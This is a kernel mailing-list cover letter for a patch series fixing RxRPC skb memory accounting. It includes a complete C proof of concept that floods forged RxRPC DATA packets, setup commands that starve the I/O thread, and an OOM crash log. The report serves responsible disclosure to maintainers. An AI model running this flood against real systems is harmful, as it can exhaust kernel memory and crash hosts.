[PATCH net v11 0/5] rxrpc: fix encap_rcv skb accounting exhaustion
Zihan Xi
zihanx at nebusec.ai
Wed Oct 21 00:37:11 PDT 2026
Hi Linux kernel maintainers,
We found and validated an issue in the RxRPC receive paths in
net/rxrpc/af_rxrpc.c, net/rxrpc/ar-internal.h,
net/rxrpc/call_event.c, net/rxrpc/call_object.c,
net/rxrpc/conn_event.c, net/rxrpc/conn_object.c,
net/rxrpc/input.c, net/rxrpc/io_thread.c,
net/rxrpc/local_object.c, net/rxrpc/oob.c,
net/rxrpc/peer_object.c, net/rxrpc/recvmsg.c and
net/rxrpc/skbuff.c. The bug is reachable by a non-root user via
user and network namespaces. We've tested it, and it should not affect
any other functionality.
The compatibility statement above applies to traffic within the configured
receive budgets and application receive windows. Under endpoint-wide
pressure, an otherwise in-window DATA packet may be rejected with
RXRPC_ACK_NOSPACE, and managed OOB challenges may be dropped when their
applicable allowance is full. An out-of-window LAST packet is rejected
before it can set RXRPC_CALL_RX_LAST.
The recorded baseline run is unpatched.
This v11 reroll is based on net/main at 82e31923c055. Its net/rxrpc
subtree is unchanged from the unpatched test baseline at af32da41b032.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
On the unpatched baseline, rxrpc_encap_rcv() queues encapsulated UDP
skbs on the RxRPC local queue without charging them to the UDP socket's
receive memory. If the I/O thread cannot keep up, the local queue is not
bounded by the UDP socket's receive buffer.
On the unpatched path, UDP socket rmem does not account for packets
retained after the I/O thread moves them out of local->rx_queue. Such
packets may accumulate on conn->rx_queue, call->rx_queue, in managed
RXGK OOB or pending-response queues, or in a call's recvmsg_queue.
The asynchronous DATA budget is shared by calls on a local endpoint.
A per-call limit and headroom for one maximum-sized hole-filling packet
reduce, but do not eliminate, contention between calls. Under
endpoint-wide pressure, an otherwise in-window packet may be rejected
with RXRPC_ACK_NOSPACE. The managed OOB budget is also shared by the
local endpoint, with per-socket and per-peer sublimits; exhausting an
applicable allowance may drop later challenges.
The DATA receive sequence window advances when packets arrive, while
rx_consumed advances only when the application reads them. Per-call
windows alone therefore do not bound retained DATA across multiple calls.
The unpatched net/main baseline at
af32da41b0327b9c6a37856ba82b6760d6c8d10e was tested in a 2-vCPU,
2-GiB QEMU guest with AF_RXRPC, AFS and KASAN enabled. The callback
listener was active on UDP 7001. krxrpcio/7001 and a SCHED_FIFO
priority-99 task were both pinned to CPU 1; the task starved the I/O
thread. An unprivileged sender with UID 1001 sent IPv6 UDP datagrams
for 30 seconds from 16 threads. Each UDP payload was 36 bytes: a
28-byte RxRPC header and an 8-byte application payload.
The run reached a system-wide OOM at 275.016 seconds. The decoded OOM
data recorded skbuff_small_head at 521844 KB and skbuff_head_cache at
243491 KB, while rxrpc_call_jar was 197 KB. The allocation path was the
sender's udpv6_sendmsg() -> sock_alloc_send_pskb() -> __alloc_skb();
this is the downstream symptom of the accumulated skb memory, rather
than a trace at the enqueue site. The guest panicked before a packet
count could be printed. These measured baseline results are the evidence
for the bug. The decoded crash log is included below; it was produced with
./scripts/decode_stacktrace.sh.
The previous v11 tree based on net/main at 191aa41548b2 was built
successfully with an x86_64 minimal configuration enabling AF_RXRPC,
AF_RXRPC_IPV6, AFS, E1000, ATA_PIIX and EXT4_FS. olddefconfig and
make -j4 bzImage completed successfully. KASAN was not enabled.
The patched kernel from that previous v11 tree was booted in a
2-vCPU, 2-GiB QEMU guest. The AFS callback listener remained on UDP
7001, so the PoC used port 7002. With
krxrpcio/7002 and a SCHED_FIFO priority-99 task pinned to CPU 1 and the
UID 1001 sender pinned to CPU 0, the 16-thread PoC sent 9,188,466 IPv6
UDP datagrams with an 8-byte application payload over 30 seconds and
exited successfully. stderr was empty. The minimum sampled MemAvailable
was 1,854,548 kB; it increased after the initial queue fill. No OOM or
panic occurred. This patched-kernel validation used the privileged
CPU-affinity and scheduling setup; it did not run under unshare -Urn.
It is separate from the unpatched baseline OOM evidence above.
This reroll is based on net/main at 82e31923c055 and has not yet been
rebuilt or rerun. Although the net/rxrpc subtree is unchanged from the
previously tested v11 base, the results above are not a fresh validation
of this reroll.
Changes since v10:
- Rebase the five-patch series onto net/main at 82e31923c055.
- Keep UDP receive-memory accounting until packets acquire the
asynchronous budget, including DATA call-queue handoff and jumbo
splitting.
- Bound DATA per call and across the local endpoint; reserve capacity
for connection-control and OOB traffic, add per-socket and per-peer
OOB sublimits, and reserve headroom for a maximum-sized hole-filling
packet.
- Release queued OOS DATA charges on call completion. Move the aborted-
CHALLENGE reference fix into its own patch and add cleanup for the
SERVICE_CONN_SECURED reference when its skb is purged.
- Document endpoint-wide DATA/OOB budget sharing and the resulting
RXRPC_ACK_NOSPACE/OOB-drop behavior.
- Record the successful build and measured PoC run on the prior v11
base.
- Correct the DATA-accounting Fixes attribution to 248f219cb8bc;
retain 5d7edbc9231e for the receive-window issue.
Link: https://lore.kernel.org/all/cover.1792168462.git.zihanx@nebusec.ai/
Reproducer:
gcc -O2 -static -o poc poc.c
unshare -Urn ./poc
For the measured flood run, build and run the same PoC source as:
gcc -O2 -static -pthread -o poc_rxrpc_mem poc.c
unshare -Urn ./poc_rxrpc_mem -t 16 -s 30 -l 8
packetdrill is not used here because the trigger depends on a sustained
multi-threaded flood with unique call IDs and deliberate I/O-thread
starvation, rather than a finite deterministic packet sequence.
The unshare command exercises the packet flood in an unprivileged user
and network namespace. We did not separately measure whether this run
alone produces sustained memory growth without CPU starvation. The
recorded OOM required privileged setup to pin krxrpcio/7001 to CPU 1 and
run a SCHED_FIFO hog on CPU 1; those conditions are not part of the
unprivileged reachability claim. Since the unshare command omits -e, the
PoC brings up loopback and creates its own AF_RXRPC listener on UDP 7001
in that namespace. For the recorded OOM run, an AFS callback listener
was already active on UDP 7001 and the PoC reused it with -e:
sysctl -w vm.panic_on_oom=1
sysctl -w vm.overcommit_memory=2
sysctl -w vm.overcommit_ratio=50
sysctl -w kernel.panic_on_warn=0
IO_PID=$(ps -eT -o tid=,comm= |
awk '$2 == "krxrpcio/7001" {print $1; exit}')
taskset -p 2 "$IO_PID"
taskset -c 1 chrt -f 99 /bin/sh -c 'while :; do :; done' &
ip link set lo up
taskset -c 0 runuser -u test_user --
./poc_rxrpc_mem -e -t 16 -s 30 -l 8
The privileged setup brings lo up before runuser. The PoC then skips
SIOCSIFFLAGS because lo is already up, so test_user does not need
CAP_NET_ADMIN for the recorded sender run.
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <net/if.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#define RXRPC_PACKET_TYPE_DATA 1
#define RXRPC_CLIENT_INITIATED 0x01
#define RXRPC_SERVICE_ID 1
#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif
#define AFS_CB_CALLBACK_OP 204
#define DEFAULT_PORT 7001
#define DEFAULT_THREADS 4
#define DEFAULT_SECONDS 20
#define DEFAULT_PAYLOAD 8
struct __attribute__((packed)) rxrpc_wire_header {
uint32_t epoch;
uint32_t cid;
uint32_t callNumber;
uint32_t seq;
uint32_t serial;
uint8_t type;
uint8_t flags;
uint8_t userStatus;
uint8_t securityIndex;
uint16_t reserved;
uint16_t serviceId;
};
struct rxrpc_sockaddr {
sa_family_t srx_family;
uint16_t srx_service;
uint16_t transport_type;
uint16_t transport_len;
union {
sa_family_t family;
struct sockaddr_in sin;
struct sockaddr_in6 sin6;
} transport;
};
struct thread_args {
struct sockaddr_in6 dst;
int seconds;
size_t payload_len;
uint32_t cid_seed;
unsigned long sent;
};
static volatile sig_atomic_t stop_flag;
static void on_alarm(int sig)
{
(void)sig;
stop_flag = 1;
}
static void *sender_thread(void *arg)
{
struct thread_args *ta = arg;
int fd;
char *packet;
struct rxrpc_wire_header *hdr;
uint32_t *op;
uint32_t *count;
uint32_t seq = 1;
uint32_t cid = ta->cid_seed;
fd = socket(AF_INET6, SOCK_DGRAM, 0);
if (fd < 0) {
perror("socket");
return NULL;
}
packet = malloc(sizeof(*hdr) + ta->payload_len);
if (!packet) {
perror("malloc");
close(fd);
return NULL;
}
memset(packet + sizeof(*hdr), 0, ta->payload_len);
hdr = (struct rxrpc_wire_header *)packet;
hdr->callNumber = htonl(1);
hdr->type = RXRPC_PACKET_TYPE_DATA;
hdr->flags = RXRPC_CLIENT_INITIATED;
hdr->userStatus = 0;
hdr->securityIndex = 0;
hdr->reserved = 0;
hdr->serviceId = htons(RXRPC_SERVICE_ID);
op = (uint32_t *)(packet + sizeof(*hdr));
*op = htonl(AFS_CB_CALLBACK_OP);
if (ta->payload_len >= 8) {
count = op + 1;
*count = htonl(1);
}
/*
* Each datagram is a new incoming RxRPC call (seq=1, unique cid).
* That makes the I/O thread do full incoming-call setup, so it
* falls behind encap_rcv and local->rx_queue can grow.
*/
while (!stop_flag) {
hdr->epoch = htonl(0x80000000u | cid);
hdr->cid = htonl(cid << 2);
hdr->seq = htonl(1);
hdr->serial = htonl(seq);
if (sendto(fd, packet, sizeof(*hdr) + ta->payload_len, 0,
(struct sockaddr *)&ta->dst, sizeof(ta->dst)) >= 0) {
ta->sent++;
seq++;
cid += 32;
}
}
free(packet);
close(fd);
return NULL;
}
static int bring_up_lo(void)
{
struct ifreq ifr;
int fd;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
return -1;
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, "lo");
if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) {
close(fd);
return -1;
}
if (ifr.ifr_flags & IFF_UP) {
close(fd);
return 0;
}
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) {
close(fd);
return -1;
}
close(fd);
return 0;
}
static int start_rxrpc_listener(uint16_t port)
{
struct rxrpc_sockaddr srx;
int fd;
fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET6);
if (fd < 0)
return -1;
memset(&srx, 0, sizeof(srx));
srx.srx_family = AF_RXRPC;
srx.srx_service = RXRPC_SERVICE_ID;
srx.transport_type = SOCK_DGRAM;
srx.transport_len = sizeof(struct sockaddr_in6);
srx.transport.sin6.sin6_family = AF_INET6;
srx.transport.sin6.sin6_port = htons(port);
if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0 ||
listen(fd, 1) < 0) {
close(fd);
return -1;
}
return fd;
}
static void usage(const char *prog)
{
fprintf(stderr, "Usage: %s [-a addr] [-p port] [-t threads] [-s seconds] [-l payload_len] [-e]\n", prog);
}
int main(int argc, char **argv)
{
struct sockaddr_in6 dst = {
.sin6_family = AF_INET6,
.sin6_port = htons(DEFAULT_PORT),
};
const char *addr = "::1";
int threads = DEFAULT_THREADS;
int seconds = DEFAULT_SECONDS;
size_t payload_len = DEFAULT_PAYLOAD;
pthread_t *tids;
struct thread_args *args;
unsigned long total = 0;
int listener_fd;
int use_existing_listener = 0;
int opt;
while ((opt = getopt(argc, argv, "a:p:t:s:l:eh")) != -1) {
switch (opt) {
case 'a':
addr = optarg;
break;
case 'p':
dst.sin6_port = htons((uint16_t)strtoul(optarg, NULL, 0));
break;
case 't':
threads = atoi(optarg);
break;
case 's':
seconds = atoi(optarg);
break;
case 'l':
payload_len = strtoul(optarg, NULL, 0);
break;
case 'e':
use_existing_listener = 1;
break;
default:
usage(argv[0]);
return 1;
}
}
if (threads <= 0 || seconds <= 0 || payload_len < 4 || payload_len > 65000) {
usage(argv[0]);
return 1;
}
if (inet_pton(AF_INET6, addr, &dst.sin6_addr) != 1) {
perror("inet_pton");
return 1;
}
if (bring_up_lo() < 0) {
perror("bring_up_lo");
return 1;
}
listener_fd = -1;
if (!use_existing_listener) {
listener_fd = start_rxrpc_listener(ntohs(dst.sin6_port));
if (listener_fd < 0) {
perror("start_rxrpc_listener");
return 1;
}
}
signal(SIGALRM, on_alarm);
alarm(seconds);
tids = calloc((size_t)threads, sizeof(*tids));
args = calloc((size_t)threads, sizeof(*args));
if (!tids || !args) {
perror("calloc");
return 1;
}
pthread_attr_t attr;
if (pthread_attr_init(&attr) != 0) {
perror("pthread_attr_init");
return 1;
}
if (pthread_attr_setstacksize(&attr, 64 * 1024) != 0) {
perror("pthread_attr_setstacksize");
return 1;
}
for (int i = 0; i < threads; i++) {
args[i].dst = dst;
args[i].seconds = seconds;
args[i].payload_len = payload_len;
args[i].cid_seed = 1 + (uint32_t)i;
if (pthread_create(&tids[i], &attr, sender_thread, &args[i]) != 0) {
fprintf(stderr, "pthread_create(%d) failed: %s\n", i, strerror(errno));
stop_flag = 1;
threads = i;
break;
}
}
pthread_attr_destroy(&attr);
for (int i = 0; i < threads; i++) {
pthread_join(tids[i], NULL);
total += args[i].sent;
}
printf("sent_packets=%lu payload_len=%zu threads=%d duration=%d\n",
total, payload_len, threads, seconds);
free(args);
free(tids);
if (listener_fd >= 0)
close(listener_fd);
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 275.016678][ T9427] poc_rxrpc_mem invoked oom-killer: gfp_mask=0x40cc0(GFP_KERNEL|__GFP_COMP), order=0, oom_score_adj=0
[ 275.016736][ T9427] CPU: 0 UID: 1001 PID: 9427 Comm: poc_rxrpc_mem Not tainted 7.3.0-rc6+ #1 PREEMPT(full)
[ 275.016747][ T9427] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 275.016751][ T9427] Call Trace:
[ 275.016779][ T9427] <TASK>
[ 275.016790][ T9427] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[ 275.016925][ T9427] dump_stack (lib/dump_stack.c:129)
[ 275.016932][ T9427] dump_header (mm/oom_kill.c:464)
[ 275.017004][ T9427] out_of_memory (mm/oom_kill.c:1075 mm/oom_kill.c:1143)
[ 275.017019][ T9427] ? __pfx_out_of_memory (mm/oom_kill.c:835)
[ 275.017034][ T9427] __alloc_frozen_pages_noprof (mm/page_alloc.c:4113 mm/page_alloc.c:5030 mm/page_alloc.c:5449)
[ 275.017060][ T9427] ? __pfx___alloc_frozen_pages_noprof (mm/page_alloc.c:4022)
[ 275.017074][ T9427] ? stack_trace_save (kernel/stacktrace.c:122 (discriminator 1))
[ 275.017101][ T9427] ? __sanitizer_cov_trace_const_cmp4 (kernel/kcov.c:310)
[ 275.017133][ T9427] ? __lock_acquire (kernel/locking/lockdep.c:4718 kernel/locking/lockdep.c:5242)
[ 275.017151][ T9427] ? kmalloc_reserve (net/core/skbuff.c:615 (discriminator 2))
[ 275.017206][ T9427] ? __sanitizer_cov_trace_const_cmp8 (kernel/kcov.c:317)
[ 275.017217][ T9427] ? policy_nodemask (mm/mempolicy.c:2304 (discriminator 1))
[ 275.017234][ T9427] alloc_pages_mpol (mm/mempolicy.c:2486)
[ 275.017244][ T9427] ? __pfx_alloc_pages_mpol (mm/mempolicy.c:2275)
[ 275.017257][ T9427] alloc_frozen_pages_noprof (mm/mempolicy.c:2557 (discriminator 1))
[ 275.017269][ T9427] allocate_slab (mm/slub.c:3345 (discriminator 2) mm/slub.c:3470)
[ 275.017281][ T9427] new_slab (mm/slub.c:3513)
[ 275.017292][ T9427] ___slab_alloc (mm/slub.c:4568)
[ 275.017306][ T9427] kmem_cache_alloc_node_noprof (mm/slub.c:4987 mm/slub.c:5068)
[ 275.017319][ T9427] ? __local_bh_enable_ip (kernel/softirq.c:478)
[ 275.017335][ T9427] ? __alloc_skb (net/core/skbuff.c:704 (discriminator 2))
[ 275.017349][ T9427] __alloc_skb (net/core/skbuff.c:704 (discriminator 2))
[ 275.017359][ T9427] ? __alloc_skb (include/linux/bottom_half.h:20 (discriminator 1) net/core/skbuff.c:697)
[ 275.017370][ T9427] ? __pfx___alloc_skb (include/linux/fortify-string.h:447)
[ 275.017382][ T9427] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 275.017391][ T9427] ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4516)
[ 275.017407][ T9427] alloc_skb_with_frags (include/linux/skbuff.h:1384 net/core/skbuff.c:6803)
[ 275.017424][ T9427] sock_alloc_send_pskb (net/core/sock.c:3022)
[ 275.017436][ T9427] ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4516)
[ 275.017451][ T9427] ? __pfx_sock_alloc_send_pskb (net/core/sock.c:2854 (discriminator 2))
[ 275.017463][ T9427] ? debug_smp_processor_id (lib/smp_processor_id.c:58)
[ 275.017474][ T9427] ? __lock_acquire (kernel/locking/lockdep.c:4718 kernel/locking/lockdep.c:5242)
[ 275.017486][ T9427] __ip6_append_data (include/net/sock.h:1907 net/ipv6/ip6_output.c:1695)
[ 275.017511][ T9427] ? find_held_lock (kernel/locking/lockdep.c:5401)
[ 275.017526][ T9427] ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3143)
[ 275.017548][ T9427] ? __pfx___ip6_append_data (net/ipv6/ip6_output.c:2063)
[ 275.017557][ T9427] ? ip6_mtu (net/ipv6/route.c:3296)
[ 275.017569][ T9427] ? ip6_setup_cork (net/ipv6/ip6_output.c:1450)
[ 275.017581][ T9427] ip6_make_skb (net/ipv6/ip6_output.c:2094)
[ 275.017592][ T9427] ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3143)
[ 275.017605][ T9427] ? __pfx_ip6_make_skb (net/ipv6/ip6_output.c:2040)
[ 275.017618][ T9427] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 275.017632][ T9427] udpv6_sendmsg (net/ipv6/udp.c:1720)
[ 275.017643][ T9427] ? udpv6_sendmsg (net/ipv6/udp.c:1720)
[ 275.017655][ T9427] ? find_held_lock (kernel/locking/lockdep.c:5401)
[ 275.017672][ T9427] ? __pfx_udpv6_sendmsg (net/ipv6/udp.c:338)
[ 275.017684][ T9427] ? __sanitizer_cov_trace_const_cmp4 (kernel/kcov.c:310)
[ 275.017697][ T9427] ? __pfx_avc_has_perm (security/selinux/avc.c:1154)
[ 275.017755][ T9427] ? sock_has_perm (security/selinux/hooks.c:5054 (discriminator 1))
[ 275.017774][ T9427] ? __pfx_udpv6_sendmsg (net/ipv6/udp.c:338)
[ 275.017786][ T9427] inet6_sendmsg (net/ipv6/af_inet6.c:641 (discriminator 4))
[ 275.017798][ T9427] ? inet6_sendmsg (net/ipv6/af_inet6.c:641 (discriminator 4))
[ 275.017811][ T9427] __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 net/socket.c:2281)
[ 275.017823][ T9427] ? __pfx___sys_sendto (net/socket.c:2235)
[ 275.017837][ T9427] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 275.017851][ T9427] ? xfd_validate_state (arch/x86/kernel/fpu/xstate.c:1544)
[ 275.017875][ T9427] __x64_sys_sendto (net/socket.c:2288 net/socket.c:2284 net/socket.c:2284)
[ 275.017886][ T9427] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 275.017895][ T9427] ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4516)
[ 275.017908][ T9427] x64_sys_call (arch/x86/include/generated/asm/syscalls_64.h:45)
[ 275.017925][ T9427] do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[ 275.017940][ T9427] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 275.017950][ T9427] RIP: 0033:0x423104
[ 275.017958][ T9427] Code: 7d e8 89 4d d4 e8 ac e7 02 00 44 8b 4d d0 4c 8b 45 c8 89 c3 44 8b 55 d4 8b 7d e8 b8 2c 00 00 00 48 8b 55 d8 48 8b 75 e0 0f 05 <48> 3d 00 f0 ff ff 77 34 89 df 48 89 45 e8 e8 f9 e7 02 00 48 8b 45
All code
========
0: 7d e8 jge 0xffffffffffffffea
2: 89 4d d4 mov %ecx,-0x2c(%rbp)
5: e8 ac e7 02 00 call 0x2e7b6
a: 44 8b 4d d0 mov -0x30(%rbp),%r9d
e: 4c 8b 45 c8 mov -0x38(%rbp),%r8
12: 89 c3 mov %eax,%ebx
14: 44 8b 55 d4 mov -0x2c(%rbp),%r10d
18: 8b 7d e8 mov -0x18(%rbp),%edi
1b: b8 2c 00 00 00 mov $0x2c,%eax
20: 48 8b 55 d8 mov -0x28(%rbp),%rdx
24: 48 8b 75 e0 mov -0x20(%rbp),%rsi
28: 0f 05 syscall
2a:* 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax <-- trapping instruction
30: 77 34 ja 0x66
32: 89 df mov %ebx,%edi
34: 48 89 45 e8 mov %rax,-0x18(%rbp)
38: e8 f9 e7 02 00 call 0x2e836
3d: 48 rex.W
3e: 8b .byte 0x8b
3f: 45 rex.RB
Code starting with the faulting instruction
===========================================
0: 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax
6: 77 34 ja 0x3c
8: 89 df mov %ebx,%edi
a: 48 89 45 e8 mov %rax,-0x18(%rbp)
e: e8 f9 e7 02 00 call 0x2e80c
13: 48 rex.W
14: 8b .byte 0x8b
15: 45 rex.RB
[ 275.017968][ T9427] RSP: 002b:00007fd17b1191b0 EFLAGS: 00000293 ORIG_RAX: 000000000000002c
[ 275.017985][ T9427] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 0000000000423104
[ 275.017991][ T9427] RDX: 0000000000000024 RSI: 00007fd15c000b70 RDI: 0000000000000008
[ 275.017997][ T9427] RBP: 00007fd17b1191f0 R08: 000000001c46aae8 R09: 000000000000001c
[ 275.018002][ T9427] R10: 0000000000000000 R11: 0000000000000293 R12: 00000000000087cf
[ 275.018008][ T9427] R13: 000000008010f9c6 R14: 000000000043e718 R15: 000000001c46aae8
[ 275.018020][ T9427] </TASK>
[ 275.048339][ T9427] Mem-Info:
[ 275.048347][ T9427] active_anon:2922 inactive_anon:6285 isolated_anon:0
[ 275.048347][ T9427] active_file:0 inactive_file:27 isolated_file:0
[ 275.048347][ T9427] unevictable:1768 dirty:0 writeback:3
[ 275.048347][ T9427] slab_reclaimable:11444 slab_unreclaimable:236232
[ 275.048347][ T9427] mapped:150 shmem:2717 pagetables:574
[ 275.048347][ T9427] sec_pagetables:0 bounce:0
[ 275.048347][ T9427] kernel_misc_reclaimable:0
[ 275.048347][ T9427] free:16828 free_pcp:10 free_cma:0
[ 275.048369][ T9427] Node 0 active_anon:11688kB inactive_anon:25140kB active_file:0kB inactive_file:108kB unevictable:7072kB isolated(anon):0kB isolated(file):0kB mapped:600kB dirty:0kB writeback:12kB shmem:10868kB shmem_thp:0kB shmem_pmdmapped:0kB anon_thp:0kB kernel_stack:9728kB pagetables:2296kB sec_pagetables:0kB all_unreclaimable? no Balloon:0kB gpu_active:0kB gpu_reclaim:0kB
[ 275.048392][ T9427] Node 0 DMA free:5696kB boost:0kB min:524kB low:652kB high:780kB reserved_highatomic:0kB free_highatomic:0kB active_anon:0kB inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB writepending:0kB zspages:0kB present:15992kB managed:15360kB mlocked:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB
[ 275.048420][ T9427] lowmem_reserve[]: 0 1295 1295 1295 1295
[ 275.048435][ T9427] Node 0 DMA32 free:61616kB boost:18432kB min:62960kB low:74092kB high:85224kB reserved_highatomic:0kB free_highatomic:0kB active_anon:11688kB inactive_anon:25140kB active_file:0kB inactive_file:108kB unevictable:7072kB writepending:12kB zspages:0kB present:2080640kB managed:1326300kB mlocked:0kB bounce:0kB free_pcp:40kB local_pcp:40kB free_cma:0kB
[ 275.048459][ T9427] lowmem_reserve[]: 0 0 0 0 0
[ 275.048472][ T9427] Node 0 DMA: 0*4kB 0*8kB 0*16kB 0*32kB 1*64kB (U) 0*128kB 0*256kB 1*512kB (U) 1*1024kB (U) 2*2048kB (UM) 0*4096kB = 5696kB
[ 275.048531][ T9427] Node 0 DMA32: 2469*4kB (UME) 729*8kB (UME) 364*16kB (UME) 196*32kB (UME) 104*64kB (UME) 60*128kB (ME) 26*256kB (ME) 19*512kB (UM) 1*1024kB (M) 1*2048kB (M) 0*4096kB = 61596kB
[ 275.048596][ T9427] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=1048576kB
[ 275.048602][ T9427] Node 0 hugepages_total=4 hugepages_free=4 hugepages_surp=0 hugepages_size=2048kB
[ 275.048609][ T9427] 2916 total pagecache pages
[ 275.048611][ T9427] 0 pages in swap cache
[ 275.048614][ T9427] Free swap = 0kB
[ 275.048617][ T9427] Total swap = 0kB
[ 275.048619][ T9427] 524158 pages RAM
[ 275.048622][ T9427] 0 pages HighMem/MovableOnly
[ 275.048627][ T9427] 188743 pages reserved
[ 275.048629][ T9427] 0 pages cma reserved
[ 275.048632][ T9427] Unreclaimable slab info:
[ 275.048635][ T9427] Name Used Total
[ 275.048644][ T9427] bio-464 1KB 15KB
[ 275.048650][ T9427] bio-528 3KB 15KB
[ 275.048656][ T9427] bio-544 1KB 15KB
[ 275.048662][ T9427] bio-552 1KB 15KB
[ 275.048736][ T9427] TIPC 1KB 31KB
[ 275.048743][ T9427] SCTPv6 2KB 30KB
[ 275.048750][ T9427] RXRPC 2KB 30KB
[ 275.048755][ T9427] rxrpc_call_jar 197KB 217KB
[ 275.048762][ T9427] fib6_node 2KB 4KB
[ 275.048767][ T9427] ip6_dst_cache 1KB 7KB
[ 275.048773][ T9427] RAWv6 17KB 30KB
[ 275.048778][ T9427] UDPv6 40KB 61KB
[ 275.048784][ T9427] TCPv6 10KB 31KB
[ 275.048796][ T9427] t10_alua_lu_gp_cache 0KB 7KB
[ 275.048802][ T9427] scsi_sense_cache 2KB 3KB
[ 275.048808][ T9427] virtio_scsi_cmd 24KB 31KB
[ 275.048813][ T9427] bio-136 43KB 45KB
[ 275.048824][ T9427] bio-264 1KB 7KB
[ 275.048847][ T9427] mqueue_inode_cache 1KB 30KB
[ 275.048855][ T9427] f2fs_evict_inode_work 1KB 3KB
[ 275.048862][ T9427] bio-272 4KB 8KB
[ 275.048867][ T9427] f2fs_bio_post_read_ctx 28KB 31KB
[ 275.048892][ T9427] jfs_mp 9KB 11KB
[ 275.048902][ T9427] cifs_small_rq 18KB 22KB
[ 275.048909][ T9427] cifs_request 67KB 67KB
[ 275.048914][ T9427] cifs_mpx_ids 1KB 7KB
[ 275.048919][ T9427] cifs_io_subrequest 50KB 56KB
[ 275.048924][ T9427] cifs_io_request 100KB 112KB
[ 275.048932][ T9427] nfs_commit_data 4KB 16KB
[ 275.048939][ T9427] nfs_write_data 38KB 46KB
[ 275.048949][ T9427] jbd2_inode 5KB 7KB
[ 275.048955][ T9427] ext4_system_zone 1KB 11KB
[ 275.048960][ T9427] ext4_io_end_vec 0KB 3KB
[ 275.048969][ T9427] fasync_cache 0KB 3KB
[ 275.048976][ T9427] kvm_gmem_inode_cache 1KB 15KB
[ 275.048982][ T9427] rpc_buffers 18KB 31KB
[ 275.048987][ T9427] rpc_tasks 3KB 7KB
[ 275.048993][ T9427] UNIX-STREAM 38KB 189KB
[ 275.048998][ T9427] UNIX 42KB 63KB
[ 275.049004][ T9427] tcp_bind2_bucket 1KB 4KB
[ 275.049009][ T9427] tcp_bind_bucket 0KB 4KB
[ 275.049015][ T9427] ip_fib_trie 1KB 3KB
[ 275.049020][ T9427] ip_fib_alias 1KB 3KB
[ 275.049046][ T9427] rtable 1KB 7KB
[ 275.049052][ T9427] RAW 12KB 32KB
[ 275.049057][ T9427] UDP 4KB 63KB
[ 275.049062][ T9427] tw_sock_TCP 0KB 7KB
[ 275.049067][ T9427] request_sock_TCP 0KB 7KB
[ 275.049073][ T9427] TCP 10KB 30KB
[ 275.049078][ T9427] fs_bio_integrity 0KB 4KB
[ 275.049084][ T9427] hugetlbfs_inode_cache 3KB 15KB
[ 275.049089][ T9427] netfs_subrequest 37KB 39KB
[ 275.049095][ T9427] netfs_request 100KB 112KB
[ 275.049100][ T9427] bio-288 32KB 32KB
[ 275.049105][ T9427] bio-328 2KB 8KB
[ 275.049110][ T9427] ep_head 6KB 19KB
[ 275.049116][ T9427] eventpoll_pwq 9KB 31KB
[ 275.049122][ T9427] eventpoll_epi 16KB 45KB
[ 275.049128][ T9427] inotify_inode_mark 27KB 31KB
[ 275.049133][ T9427] bpf_fs_inode_cache 1KB 15KB
[ 275.049139][ T9427] sgpool-128 8KB 30KB
[ 275.049144][ T9427] sgpool-64 4KB 31KB
[ 275.049149][ T9427] sgpool-32 2KB 30KB
[ 275.049154][ T9427] sgpool-16 3KB 31KB
[ 275.049160][ T9427] sgpool-8 2KB 31KB
[ 275.049165][ T9427] bio_crypt_ctx 19KB 19KB
[ 275.049170][ T9427] bio_integrity_data 0KB 7KB
[ 275.049175][ T9427] request_queue 161KB 182KB
[ 275.049180][ T9427] blkdev_ioc 0KB 7KB
[ 275.049186][ T9427] bio-200 20KB 31KB
[ 275.049191][ T9427] biovec-max 511KB 520KB
[ 275.049196][ T9427] biovec-128 0KB 31KB
[ 275.049201][ T9427] biovec-64 0KB 45KB
[ 275.049207][ T9427] biovec-16 0KB 23KB
[ 275.049213][ T9427] uid_cache 0KB 7KB
[ 275.049219][ T9427] dmaengine-unmap-256 2KB 31KB
[ 275.049224][ T9427] dmaengine-unmap-128 1KB 15KB
[ 275.049229][ T9427] dmaengine-unmap-16 0KB 7KB
[ 275.049234][ T9427] dmaengine-unmap-2 0KB 4KB
[ 275.049238][ T9427] QIPCRTR 1KB 30KB
[ 275.049243][ T9427] audit_buffer 0KB 7KB
